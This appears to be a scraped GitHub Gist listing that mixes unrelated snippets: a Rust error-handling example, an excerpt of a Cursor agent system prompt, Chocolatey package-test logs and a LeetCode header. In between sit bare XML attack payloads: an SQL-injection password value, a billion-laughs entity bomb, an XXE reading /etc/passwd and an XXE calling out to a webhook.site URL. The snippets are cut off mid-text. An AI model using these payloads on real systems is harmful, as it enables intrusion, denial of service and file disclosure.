Skip to content

Instantly share code, notes, and snippets.

@ShabbirHasan1
ShabbirHasan1 / thiserror_backtrace.rs
Created April 19, 2025 07:51 — forked from mikeando/thiserror_backtrace.rs
Example of backtrace usage in thiserror
#![feature(backtrace)]
extern crate thiserror;
use thiserror::Error;
use std::backtrace::Backtrace;
#[derive(Error, Debug)]
pub enum DataStoreError {
//#[error("data store disconnected")]
@PradipPoriya
PradipPoriya / cursor-agent-system-prompt.txt
Created April 19, 2025 07:51 — forked from sshh12/cursor-agent-system-prompt.txt
Cursor Agent System Prompt (March 2025)
You are a powerful agentic AI coding assistant, powered by Claude 3.5 Sonnet. You operate exclusively in Cursor, the world's best IDE.
You are pair programming with a USER to solve their coding task.
The task may require creating a new codebase, modifying or debugging an existing codebase, or simply answering a question.
Each time the USER sends a message, we may automatically attach some information about their current state, such as what files they have open, where their cursor is, recently viewed files, edit history in their session so far, linter errors, and more.
This information may or may not be relevant to the coding task, it is up for you to decide.
Your main goal is to follow the USER's instructions at each message, denoted by the <user_query> tag.
<communication>
1. Be conversational but professional.
<?xml version="1.0" encoding="UTF-8"?>
<user>
<username>admin</username>
<password>' OR 1=1 --</password>
</user>
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lolz">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<lolz>&lol4;</lolz>
@choco-bot
choco-bot / Install.txt
Created April 19, 2025 07:48
artifactory-pro v6.5.13 - Failed - Package Tests Results
2025-04-19 07:48:43,512 2092 [DEBUG] - XmlConfiguration is now operational
2025-04-19 07:48:43,763 2092 [DEBUG] - Adding new type 'CygwinService' for type 'IAlternativeSourceRunner' from assembly 'choco'
2025-04-19 07:48:43,763 2092 [DEBUG] - Adding new type 'CygwinService' for type 'IInstallSourceRunner' from assembly 'choco'
2025-04-19 07:48:43,779 2092 [DEBUG] - Adding new type 'PythonService' for type 'IAlternativeSourceRunner' from assembly 'choco'
2025-04-19 07:48:43,795 2092 [DEBUG] - Adding new type 'PythonService' for type 'IListSourceRunner' from assembly 'choco'
2025-04-19 07:48:43,795 2092 [DEBUG] - Adding new type 'PythonService' for type 'IInstallSourceRunner' from assembly 'choco'
2025-04-19 07:48:43,812 2092 [DEBUG] - Adding new type 'PythonService' for type 'IUninstallSourceRunner' from assembly 'choco'
2025-04-19 07:48:43,812 2092 [DEBUG] - Adding new type 'RubyGemsService' for type 'IAlternativeSourceRunner' from assembly 'choco'
2025-04-19 07:48:43,826 2092 [DEBUG] - Adding new typ
@MA-Zarei
MA-Zarei / 209. Minimum Size Subarray Sum.js
Created April 19, 2025 07:48
Leetcode P209. Minimum Size Subarray Sum
/**
* Problem: Minimum Size Subarray Sum
* Difficulty: Medium
* Topics: Array, Binary Search, Sliding Window, Prefix Sum
*
* Description:
* Given an array of positive integers `nums` and a positive integer `target`, return the minimal length of
* a subarray whose sum is greater than or equal to `target`. If there is no such subarray, return 0 instead.
*
* Examples:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "https://webhook.site/244260a6-d07f-48a2-8e6f-5ffdf22e3b6b">
]>
<data>&xxe;</data>
@choco-bot
choco-bot / Install.txt
Created April 19, 2025 07:47
logparser.lizardgui v6.8 - Failed - Package Tests Results
2025-04-19 07:46:07,520 5996 [DEBUG] - XmlConfiguration is now operational
2025-04-19 07:46:08,208 5996 [DEBUG] - Adding new type 'CygwinService' for type 'IAlternativeSourceRunner' from assembly 'choco'
2025-04-19 07:46:08,208 5996 [DEBUG] - Adding new type 'CygwinService' for type 'IInstallSourceRunner' from assembly 'choco'
2025-04-19 07:46:08,226 5996 [DEBUG] - Adding new type 'PythonService' for type 'IAlternativeSourceRunner' from assembly 'choco'
2025-04-19 07:46:08,238 5996 [DEBUG] - Adding new type 'PythonService' for type 'IListSourceRunner' from assembly 'choco'
2025-04-19 07:46:08,255 5996 [DEBUG] - Adding new type 'PythonService' for type 'IInstallSourceRunner' from assembly 'choco'
2025-04-19 07:46:08,255 5996 [DEBUG] - Adding new type 'PythonService' for type 'IUninstallSourceRunner' from assembly 'choco'
2025-04-19 07:46:08,273 5996 [DEBUG] - Adding new type 'RubyGemsService' for type 'IAlternativeSourceRunner' from assembly 'choco'
2025-04-19 07:46:08,285 5996 [DEBUG] - Adding new typ
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
@choco-bot
choco-bot / FilesSnapshot.xml
Created April 19, 2025 07:46
PowerShellGAC v1.1.0 - Failed - Package Tests Results
<?xml version="1.0" encoding="utf-8"?>
<fileSnapshot xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<files>
<file path="C:\ProgramData\chocolatey\lib\PowerShellGAC\PowerShellGAC.nupkg" checksum="B5E96A65504A87C446AC2A29C62E3C33" />
<file path="C:\ProgramData\chocolatey\lib\PowerShellGAC\powershellgac.nuspec" checksum="86ABAF57595EDD438B207BC1673DCCFC" />
<file path="C:\ProgramData\chocolatey\lib\PowerShellGAC\tools\chocolateyInstall.ps1" checksum="9422F69794B2DC5372315299F422BB77" />
</files>
</fileSnapshot>